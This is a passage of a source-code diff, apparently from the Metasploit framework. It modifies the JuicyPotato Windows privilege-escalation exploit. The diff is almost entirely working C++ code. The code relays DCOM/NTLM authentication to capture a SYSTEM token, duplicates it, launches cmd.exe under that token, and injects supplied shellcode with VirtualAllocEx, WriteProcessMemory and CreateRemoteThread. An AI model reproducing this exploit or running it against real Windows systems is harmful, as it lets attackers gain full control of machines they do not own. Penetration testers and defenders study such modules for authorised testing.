ntlmLoc; + do { + iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); + if (iResult > 0) { + + if (!TEST_mode) + printf(".", iResult); + + //check to see if the received packet has NTLM auth information + processNtlmBytes(recvbuf, iResult); + + //Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue" + //put packet in winrpc_sendq + rpcSendQ->push((char*)&iResult); + rpcSendQ->push(recvbuf); + + //block and wait for a new item in our sendq + int* len = (int*)comSendQ->wait_pop(); + sendbuf = comSendQ->wait_pop(); + + //Check to see if this is a packet containing NTLM authentication information before sending + processNtlmBytes(sendbuf, *len); + + //send the new packet sendbuf + iSendResult = send(ClientSocket, sendbuf, *len, 0); + + if (iSendResult == SOCKET_ERROR) { +#ifdef LOG + fprintf(logFile, "[-] COM -> send failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + exit(-11); + } + + //Sometimes Windows likes to open a new connection instead of using the current one + //Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming + newConnection = checkForNewConnection(&ListenSocket, &ClientSocket); + } + else if (iResult == 0) { + //connection closing... + shutdown(ClientSocket, SD_SEND); + WSACleanup(); + exit(-1); + } + else { + + if (!TEST_mode) + { +#ifdef LOG + fprintf(logFile, "[-] COM -> recv failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + } + shutdown(ClientSocket, SD_SEND); + WSACleanup(); + + exit(-1); + } + + } while (iResult > 0); + + // shutdown the connection since we're done + iResult = shutdown(ClientSocket, SD_SEND); +#ifdef LOG + fprintf(logFile, "\nstartCOMListener iResult ComLisetner:%d\n", iResult); + fflush(logFile); +#endif + if (iResult == SOCKET_ERROR) { +#ifdef LOG + fprintf(logFile, "[-] shutdown failed with error: %d\n", WSAGetLastError()); + fflush(logFile); +#endif + closesocket(ClientSocket); + WSACleanup(); + exit(-1); + } + + // cleanup + closesocket(ClientSocket); + WSACleanup(); + return 0; +} + +BOOL EnablePriv(HANDLE hToken, LPCTSTR priv) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue(NULL, priv, &luid)) + { +#ifdef LOG + fprintf(logFile, "[-] Priv Lookup FALSE\n"); + fflush(logFile); +#endif + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + sizeof(TOKEN_PRIVILEGES), + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { +#ifdef LOG + fprintf(logFile, "[-] Priv Adjust FALSE\n"); + fflush(logFile); +#endif + return FALSE; + } + + return TRUE; +} + +int wmain(int argc, wchar_t** argv) +{ + BOOL brute = FALSE; + + strcpy(dcom_ip, "127.0.0.1"); + while ((argc > 1) && (argv[1][0] == '-')) + { + switch (argv[1][1]) + { + case 't': + ++argv; + --argc; + processtype = argv[1]; + break; + + case 'p': + ++argv; + --argc; + processname = argv[1]; + break; + + case 'l': + ++argv; + --argc; + g_port = argv[1]; + break; + + case 'c': + ++argv; + --argc; + olestr = argv[1]; + break; + + case 'a': + ++argv; + --argc; + processargs = argv[1]; + break; + + case 'm': + ++argv; + --argc; + memset(dcom_ip, 0, 17); + wcstombs(dcom_ip, argv[1], wcslen(argv[1])); + break; + + case 'h': + usage(); + exit(100); + break; + + case 'k': + ++argv; + --argc; + rpcserver = argv[1]; + break; + + case 'n': + ++argv; + --argc; + rpcport = argv[1]; + break; + + case 'z': + TEST_mode = TRUE; + break; + + default: + printf("Wrong Argument: %s\n", argv[1]); + usage(); + exit(-1); + } + + ++argv; + --argc; + } + + if (g_port == NULL) + { + usage(); + exit(-1); + } + + if ((processtype == NULL || processname == NULL) && !TEST_mode) + { + usage(); + exit(-1); + } + + // Fallback to default BITS CLSID + if (olestr == NULL) + olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}"; + + exit(Juicy(NULL, FALSE, NULL, 0)); +} + +int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength) +{ + PotatoAPI* test = new PotatoAPI(); + test->startCOMListenerThread(); + + if (clsid != NULL) + olestr = clsid; + + if (!TEST_mode) + { +#ifdef LOG + fprintf(logFile, "Testing %S %S\n", olestr, g_port); + fflush(logFile); +#endif + } + + test->startRPCConnectionThread(); + test->triggerDCOM(); + + BOOL result = false; + + int ret = 0; + while (true) { + + if (test->negotiator->authResult != -1) + { + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + SECURITY_DESCRIPTOR sdSecurityDescriptor; + if (!TEST_mode) + { +#ifdef LOG + fprintf(logFile, "\n[+] authresult %d\n", test->negotiator->authResult); + fflush(logFile); +#endif + } + + // Get a token for this process. + if (!OpenProcessToken(GetCurrentProcess(), + TOKEN_ALL_ACCESS, &hToken)) + { +#ifdef LOG + fprintf(logFile, "[-] Exit OpenProcessToken\n"); + fflush(logFile); +#endif + return 0; + } + + //enable privileges + EnablePriv(hToken, SE_IMPERSONATE_NAME); + EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME); + PTOKEN_TYPE ptg; + DWORD dwl = 0; + HANDLE hProcessToken; + OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, + &hProcessToken); + + QuerySecurityContextToken(test->negotiator->phContext, &elevated_token); + IsTokenSystem(elevated_token); + + result = DuplicateTokenEx(elevated_token, + TOKEN_ALL_ACCESS, + NULL, + SecurityImpersonation, + TokenPrimary, + &duped_token); + + PROCESS_INFORMATION pi; + STARTUPINFO si; + SECURITY_ATTRIBUTES sa; + + ZeroMemory(&si, sizeof(STARTUPINFO)); + ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + memset(&pi, 0x00, sizeof(PROCESS_INFORMATION)); + si.cb = sizeof(STARTUPINFO); + si.lpDesktop = L"winsta0\\default"; + + result = CreateProcessWithTokenW(duped_token, + 0, + L"cmd.exe", + NULL, + 0, + NULL, + NULL, + &si, + &pi); + + if (!result) + { +#ifdef LOG + fprintf(logFile, "\n[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError()); + fflush(logFile); +#endif + } + else + { +#ifdef LOG + fprintf(logFile, "\n[+] CreateProcessWithTokenW OK\n"); + fprintf(logFile, "Payload length = %d\n", lPayloadLength); + fflush(logFile); +#endif + + LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + SIZE_T lpnumber = 0; + BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber); +#ifdef LOG + fprintf(logFile, "WriteProcessResult: %d lpnumber = %d\n", b, lpnumber); + fflush(logFile); +#endif + + HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0); + + if (h == NULL) + { +#ifdef LOG + fprintf(logFile, "Failed to execute shellcode\n"); + fflush(logFile); +#endif + } + } + + break; + }//end auth + } + return result; +} + +void EntryPoint(LPVOID lpReserved) +{ +#ifdef LOG + logFile = fopen("C:\\Users\\Public\\juicy.txt", "w"); +#endif + + BOOL brute = FALSE; + int len; + long payloadLength; + char *buff = (char *)lpReserved; + + + len = strlen(buff) + 1; + olestr = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(olestr, buff, len); + buff += len; + + + len = strlen(buff) + 1; + g_port = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(g_port, buff, len); + buff += len; + + + len = strlen(buff) + 1; + rpcserver = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(rpcserver, buff, len); + buff += len; + + + len = strlen(buff) + 1; + rpcport = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(rpcport, buff, len); + buff += len; + + + len = strlen(buff) + 1; + strcpy(dcom_ip, buff); + buff += len; + + + len = strlen(buff) + 1; + payloadLength = atol(buff); + buff += len; + + + Juicy(olestr, FALSE, (LPVOID*)buff, payloadLength); + + + free(olestr); + free(g_port); + free(rpcserver); + free(rpcport); + +#ifdef LOG + fclose(logFile); +#endif +} diff --git a/external/source/exploits/juicypotato/JuicyPotato/MSFRottenPotato.h b/external/source/exploits/juicypotato/JuicyPotato/MSFRottenPotato.h index c3bf5d696e..f90dd3cc4d 100644 --- a/external/source/exploits/juicypotato/JuicyPotato/MSFRottenPotato.h +++ b/external/source/exploits/juicypotato/JuicyPotato/MSFRottenPotato.h @@ -1,31 +1,31 @@ -#include "Objidl.h" -#include "BlockingQueue.h" -#include "LocalNegotiator.h" -#include - -__declspec(dllexport) class PotatoAPI { - -private: - BlockingQueue* comSendQ; - BlockingQueue* rpcSendQ; - static DWORD WINAPI staticStartRPCConnection(void * Param); - static DWORD WINAPI staticStartCOMListener(void * Param); - static int newConnection; - int processNtlmBytes(char* bytes, int len); - int findNTLMBytes(char * bytes, int len); - -public: - PotatoAPI(void); - int startRPCConnection(void); - DWORD startRPCConnectionThread(); - DWORD startCOMListenerThread(); - int startCOMListener(void); - int triggerDCOM(); - LocalNegotiator *negotiator; - SOCKET ListenSocket = INVALID_SOCKET; - SOCKET ClientSocket = INVALID_SOCKET; - SOCKET ConnectSocket = INVALID_SOCKET; -}; - -extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved); -extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute); +#include "Objidl.h" +#include "BlockingQueue.h" +#include "LocalNegotiator.h" +#include + +__declspec(dllexport) class PotatoAPI { + +private: + BlockingQueue* comSendQ; + BlockingQueue* rpcSendQ; + static DWORD WINAPI staticStartRPCConnection(void * Param); + static DWORD WINAPI staticStartCOMListener(void * Param); + static int newConnection; + int processNtlmBytes(char* bytes, int len); + int findNTLMBytes(char * bytes, int len); + +public: + PotatoAPI(void); + int startRPCConnection(void); + DWORD startRPCConnectionThread(); + DWORD startCOMListenerThread(); + int startCOMListener(void); + int triggerDCOM(); + LocalNegotiator *negotiator; + SOCKET ListenSocket = INVALID_SOCKET; + SOCKET ClientSocket = INVALID_SOCKET; + SOCKET ConnectSocket = INVALID_SOCKET; +}; + +extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved); +extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength);